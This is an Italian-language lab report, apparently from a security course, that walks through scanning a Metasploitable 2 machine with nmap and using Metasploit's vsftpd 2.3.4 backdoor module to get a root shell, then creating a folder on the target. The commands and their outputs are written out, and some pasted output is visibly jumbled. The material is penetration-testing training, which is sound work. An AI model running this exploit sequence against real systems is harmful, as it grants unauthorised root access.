Nella lezione pratica di oggi vedremo come effettuare una sessione di hacking con Metasploit sulla macchina Metasploitable.

Vi chiediamo di completare una sessione di hacking sulla macchina Metasploitable, sul servizio «vsftpd».

Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando mkdir nella directory di root (/). Chiamate la cartella test_metasploit.

Definizione di Exploit, Metasploit e Meterpreter

Exploit: sono programmi specializzati che sfruttano le vulnerabilità presenti in un software o dispositivo hardware per ottenere l'accesso a sistemi operativi, acquisire i privilegi di amministratore, recuperare credenziali personali etc. Per eseguire l'exploit le condizioni devo essere:

- Il software/servizio debe essere attivo;
- L'exploit deve essere per quella versione;
- Il sonftware non deve essere aggiornato all'ultima versione disponibile.

Metasploit: è un software Open-Source (non ha licenza ed è modificabile da tutti). Questo software viene utilizzato per il penetration testing e lo sviluppo di exploit. Infatti, fornisce una vasta gamma di exploit e attacchi che possono essere utilizzati contro diversi sistemi e tecnologie. Per utilizzare un exploit serve un payload. Il payload è un file malevolo che ha la funzione di creare una shell di comando.

Gli step da seguire per sfruttare le vulnerabilità sono:

- Identificare un servizio vulnerabile;
- Cercare l'exploit adatto per quel servizio e vulnerabilità;
- Caricare e configurare l'exploit da Metasploit;
- Caricare e configurare il payload da utilizzare;
- Lanciare l'exploit e ottenere l'accesso sulla macchina vulnerabile.

Meterpreter: è una shell molto potente che fornisce funzionalità utili ad infiltrarsi in maniere non autorizzata all'interno del sistema target. Infatti, le funzionalità permettono di entrare sempre più in profondità nei sistemi, fino a prenderne il pieno controllo.

Esercizio

Macchine utilizzare

- Kali Linux IP 192.168.50.100
- Metasploitable 2 IP 192.168.50.101

Eseguito il tool «nmap –sV 192.168.50.101» per identificare le porte aperte e le informazioni sul servizio/versione

```
| nmap -sV 192.168.50.101
| Starting Nmap 7.945VN ( https://nmap.org ) at 2024-01-22 06:48 EST
Nmap scan report for 192.168.50.101
Host is up (0.00059s latency).
Not shown: 977 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp
          open ftp
22/tcp
           open ssh
                                 OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp
25/tcp
           open
                 telnet?
          open
                 smtp?
                               ISC BIND 9.4.2
Apache httpd 2.2.8 ((Ubuntu) DAV/2)
53/tcp
           open domain
80/tcp
          open http
          open rpcbind
111/tcp
                                 2 (RPC #100000)
139/tcp
                                 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
          open
                 netbios-ssn
          open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec?
513/tcp open login?
514/tcp open shell?
1099/tcp open
                                 GNU Classpath grmiregistry
                  java-rmi
1524/tcp open bindshell
                                 Metasploitable root shell
2049/tcp open
                                 2-4 (RPC #100003)
2121/tcp open ccproxy-ftp?
3306/tcp open mysql?
5432/tcp open postgresql
                                 PostgreSQL DB 8.3.0 - 8.3.7
                                 VNC (protocol 3.3)
5900/tcp open vnc
6000/tcp open X11
                                 (access denied)
6667/tcp open irc
8009/tcp open ajp13
                                 Apache Jserv (Protocol v1.3)
8180/tcp open http
                                 Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:F5:99:F3 (Oracle VirtualBox virtual NIC)
Service Info: Host: irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 194.69 seconds
```

Identificare la versione del servizio «vsftpd» ed il sistema operativo usato.

Avvio di Metasploit con i privilegi di amministratore con il comando «msfconsole»

Cercare l'exploit del servizio con il comando «search vsftpd»

L'exploit che si andrà ad utilizzare è «1»

Usare l'exploit con il comando «use path», dove path è il percorso contentente l'exploit

Eseguire il comando «**show options**» per controllare le informazioni. Si nota che manca un parametro fondamentale: **RHOSTS** (l'indirizzo IP della macchina target)

Il comando «set rhosts 192.168.50.101» assegna l'indirizzo IP target

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.50.101 rhosts ⇒ 192.168.50.101 med. Please report any incorrect results at his
```

Ricontrolliamo con «show options» se è stato modificato RHOSTS

Lanciamo l'attacco con il comando «exploit»

```
msf6 exploit(unix/ftp/vsftpd_234_Backdoor) > exploit

[*] 192.168.50.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.50.101:21 - USER: 331 Please specify the password.
[+] 192.168.50.101:21 - Backdoor service has been spawned, handling...
[+] 192.168.50.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:39889 → 192.168.50.101:6200) at 2024-01-22 09:22:21 -0500
```

In questo caso l'attacco è stato eseguito sulla macchina target.

eseguendo il comando «ifconfig» riusciamo a visualizzare l'indirizzo IP del target

```
ifconfig
eth0
          Link encap:Ethernet HWaddr 08:00:27:7f:2e:06
          inet addr:192.168.50.101 Bcast:192.168.50.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe7f:2e06/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:18 errors:0 dropped:0 overruns:0 frame:0
          TX packets:134 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1379 (1.3 KB) TX bytes:10792 (10.5 KB)
          Base address:0×d020 Memory:f0200000-f0220000
          Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING MTU:16436 Metric:1
          RX packets:192 errors:0 dropped:0 overruns:0 frame:0
          TX packets:192 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:53905 (52.6 KB) TX bytes:53905 (52.6 KB)
```

Il comando «mkdir test_metasploit» permette di creare una nuova cartella sulla macchina attaccata

```
mkdir test_metasploit
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

Ho voluto fare un riscontro sul Metasploitable 2 per verificare che la cartella sia stata realmente creata

```
root@metasploitable:/#
bin
       dev
              initrd
                           lost+found
                                         nohup.out
                                                     root
                                                            sys
boot
       etc
              initrd.img
                           media
                                                     sbin
                                                            test_metasploit
                                         opt
                                                                               var
                                         proc
                                                                               vmlinuz
drom
       home
              lib
                           mnt
                                                     srv
                                                            tmp
```